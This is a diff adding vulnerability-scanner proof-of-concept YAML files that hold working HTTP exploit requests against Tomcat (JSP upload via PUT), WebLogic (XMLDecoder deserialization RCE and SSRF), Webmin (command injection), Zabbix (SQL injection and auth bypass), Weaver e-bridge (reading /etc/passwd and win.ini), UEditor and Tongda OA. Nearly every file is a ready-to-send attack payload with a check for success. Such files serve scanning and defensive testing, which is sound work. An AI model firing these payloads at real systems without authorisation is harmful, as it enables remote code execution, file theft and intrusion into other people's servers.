+    - https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce

WebScan/pocs/tomcat-cve-2017-12615-rce.yml

@@ -0,0 +1,22 @@
+name: poc-yaml-tomcat-cve-2017-12615-rce
+set:
+  filename: randomLowercase(6)
+  verifyStr: randomLowercase(12)
+  commentStr: randomLowercase(12)
+rules:
+  - method: PUT
+    path: '/{{filename}}.jsp/'
+    body: '{{verifyStr}} <%-- {{commentStr}} --%>'
+    follow_redirects: false
+    expression: |
+      response.status == 201
+  - method: GET
+    path: '/{{filename}}.jsp'
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(verifyStr)) && !response.body.bcontains(bytes(commentStr))
+detail:
+  author: j4ckzh0u(https://github.com/j4ckzh0u)
+  links:
+    - https://www.seebug.org/vuldb/ssvid-96562
+    - https://mp.weixin.qq.com/s/sulJSg0Ru138oASiI5cYAA

WebScan/pocs/tomcat-cve-2018-11759.yml

@@ -0,0 +1,16 @@
+name: poc-yaml-tomcat-cve-2018-11759
+rules:
+  - method: GET
+    path: /jkstatus;
+    follow_redirects: false
+    expression: |
+      response.status == 200 && "JK Status Manager".bmatches(response.body) && "Listing Load Balancing Worker".bmatches(response.body)
+  - method: GET
+    path: /jkstatus;?cmd=dump
+    follow_redirects: false
+    expression: |
+      response.status == 200 && "ServerRoot=*".bmatches(response.body)
+detail:
+  author: loneyer
+  links:
+    - https://github.com/immunIT/CVE-2018-11759

WebScan/pocs/tongda-meeting-unauthorized-access.yml

@@ -0,0 +1,16 @@
+name: poc-yaml-tongda-meeting-unauthorized-access
+rules:
+  - method: GET
+    path: >-
+      /general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=33165447106&view=agendaDay
+    headers:
+      User-Agent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'
+      Accept-Encoding: 'deflate'
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string("creator"))) && response.body.bcontains(bytes(string("originalTitle")))
+detail:
+  author: 清风明月(www.secbook.info)
+  influence_version: ' < 通达OA 11.5'
+  links:
+    - https://mp.weixin.qq.com/s/3bI7v-hv4rMUnCIT0GLkJA

WebScan/pocs/ueditor-cnvd-2017-20077-file-upload.yml

@@ -0,0 +1,17 @@
+name: poc-yaml-ueditor-cnvd-2017-20077-file-upload
+rules:
+  - method: GET
+    path: /ueditor/net/controller.ashx?action=catchimage&encode=utf-8
+    headers:
+      Accept-Encoding: 'deflate'
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string("没有指定抓取源")))
+detail:
+  author: 清风明月(www.secbook.info)
+  influence_version: 'UEditor v1.4.3.3'
+  links:
+    - https://zhuanlan.zhihu.com/p/85265552
+    - https://www.freebuf.com/vuls/181814.html
+  exploit: >-
+    http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8

WebScan/pocs/weaver-ebridge-file-read-linux.yml

@@ -0,0 +1,19 @@
+name: poc-yaml-weaver-ebridge-file-read-linux
+rules:
+  - method: GET
+    path: "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt"
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
+    search: |
+      \"id\"\:\"(?P<var>.+?)\"\,
+  - method: GET
+    path: "/file/fileNoLogin/{{var}}"
+    follow_redirects: false
+    expression: |
+      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+detail:
+  author: mvhz81
+  info: e-bridge-file-read for Linux
+  links:
+    - https://mrxn.net/Infiltration/323.html

WebScan/pocs/weaver-ebridge-file-read-windows.yml

@@ -0,0 +1,19 @@
+name: poc-yaml-weaver-ebridge-file-read-windows
+rules:
+  - method: GET
+    path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
+    search: |
+      \"id\"\:\"(?P<var>.+?)\"\,
+  - method: GET
+    path: /file/fileNoLogin/{{var}}
+    follow_redirects: false
+    expression: |
+      response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]"))
+detail:
+  author: mvhz81
+  info: e-bridge-file-read for windows
+  links:
+    - https://mrxn.net/Infiltration/323.html

WebScan/pocs/weblogic-cve-2020-14750.yml

@@ -0,0 +1,12 @@
+name: poc-yaml-weblogic-cve-2020-14750
+rules:
+  - method: GET
+    path: /console/images/%252E./console.portal
+    follow_redirects: false
+    expression: |
+      response.status == 302 && (response.body.bcontains(bytes("/console/console.portal")) || response.body.bcontains(bytes("/console/jsp/common/NoJMX.jsp")))
+detail:
+  author: canc3s(https://github.com/canc3s),Soveless(https://github.com/Soveless)
+  weblogic_version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
+  links:
+    - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html

WebScan/pocs/weblogic-ssrf.yml

@@ -0,0 +1,11 @@
+name: poc-yaml-weblogic-ssrf
+rules:
+  - method: GET
+    path: >-
+      /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700
+    headers:
+      Cookie: >-
+        publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|;
+    follow_redirects: false
+    expression: >-
+      response.status == 200 && (response.body.bcontains(b"'127.1.1.1', port: '700'") || response.body.bcontains(b"Socket Closed"))

WebScan/pocs/weblogic-v10-cve-2017-10271.yml

@@ -0,0 +1,20 @@
+name: poc-yaml-weblogic-cve-2017-10271  # nolint[:namematch]
+rules:
+  - method: POST
+    path: /wls-wsat/CoordinatorPortType
+    headers:
+      Content-Type: text/xml
+    body: >-
+      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork"><void method="getResponse"><void method="getServletOutputStream"><void method="write"><array class="byte" length="9"><void index="0"><byte>50</byte></void><void index="1"><byte>50</byte></void><void index="2"><byte>53</byte></void><void index="3"><byte>55</byte></void><void index="4"><byte>55</byte></void><void index="5"><byte>51</byte></void><void index="6"><byte>48</byte></void><void index="7"><byte>57</byte></void><void index="8"><byte>49</byte></void></array></void><void method="flush"/></void></void></void></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope></soapenv:Envelope>
+    follow_redirects: true
+    expression: >
+      response.body.bcontains(b"225773091")
+detail:
+  vulnpath: '/wls-wsat/CoordinatorPortType'
+  author: fnmsd(https://github.com/fnmsd)
+  description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2017-10271'
+  weblogic_version: '10'
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
+    - https://github.com/QAX-A-Team/WeblogicEnvironment
+    - https://xz.aliyun.com/t/5299

WebScan/pocs/weblogic-v12-cve-2019-2725.yml

@@ -0,0 +1,20 @@
+name: poc-yaml-weblogic-cve-2019-2725  # nolint[:namematch]
+rules:
+  - method: POST
+    path: /wls-wsat/CoordinatorPortType
+    headers:
+      Content-Type: text/xml
+    body: >-
+      <?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>fff</wsa:Action><wsa:RelatesTo>hello</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><string><class><string>org.slf4j.ext.EventData</string><void><string><![CDATA[<java><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork" id="current_work"><void method="getClass"><void method="getDeclaredField"><string>connectionHandler</string><void method="setAccessible"><boolean>true</boolean></void><void method="get"><object idref="current_work"/><void method="getServletRequest"><void method="getResponse"><void method="getServletOutputStream"><void method="write"><array class="byte" length="9"><void index="0"><byte>50</byte></void><void index="1"><byte>50</byte></void><void index="2"><byte>53</byte></void><void index="3"><byte>55</byte></void><void index="4"><byte>55</byte></void><void index="5"><byte>51</byte></void><void index="6"><byte>48</byte></void><void index="7"><byte>57</byte></void><void index="8"><byte>49</byte></void></array></void><void method="flush"/></void><void method="getWriter"><void method="write"><string/></void></void></void></void></void></void></void></void></void></java>]]></string></void></class></string></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
+    follow_redirects: true
+    expression: >
+      response.body.bcontains(b"225773091")
+detail:
+  vulnpath: '/wls-wsat/CoordinatorPortType'
+  author: fnmsd(https://github.com/fnmsd),2357000166(https://github.com/2357000166)
+  description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData'
+  weblogic_version: '>12'
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
+    - https://github.com/QAX-A-Team/WeblogicEnvironment
+    - https://xz.aliyun.com/t/5299

WebScan/pocs/webmin-cve-2019-15107-rce.yml

@@ -0,0 +1,18 @@
+name: poc-yaml-webmin-cve-2019-15107-rce
+set:
+  r1: randomInt(800000000, 1000000000)
+  r2: randomInt(800000000, 1000000000)
+rules:
+  - method: POST
+    path: /password_change.cgi
+    headers:
+      Referer: "{{url}}"
+    body: user=roovt&pam=&expired=2&old=expr%20{{r1}}%20%2b%20{{r2}}&new1=test2&new2=test2
+    follow_redirects: false
+    expression: >
+      response.body.bcontains(bytes(string(r1 + r2)))
+detail:
+  author: danta
+  description: Webmin 远程命令执行漏洞（CVE-2019-15107）
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/webmin/CVE-2019-15107

WebScan/pocs/zabbix-authentication-bypass.yml

@@ -0,0 +1,11 @@
+name: poc-yaml-zabbix-authentication-bypass
+rules:
+  - method: GET
+    path: /zabbix.php?action=dashboard.view&dashboardid=1
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes("<a class=\"top-nav-zbbshare\" target=\"_blank\" title=\"Zabbix Share\" href=\"https://share.zabbix.com/\">Share</a>")) && response.body.bcontains(b"<title>Dashboard</title>")
+detail:
+  author: FiveAourThe(https://github.com/FiveAourThe)
+  links:
+    - https://www.exploit-db.com/exploits/47467

WebScan/pocs/zabbix-cve-2016-10134-sqli.yml

@@ -0,0 +1,14 @@
+name: poc-yaml-zabbix-cve-2016-10134-sqli
+set:
+  r: randomInt(2000000000, 2100000000)
+rules:
+  - method: GET
+    path: >-
+      /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5({{r}})),0)
+    follow_redirects: true
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r)), 0, 31)))
+detail:
+  author: sharecast
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134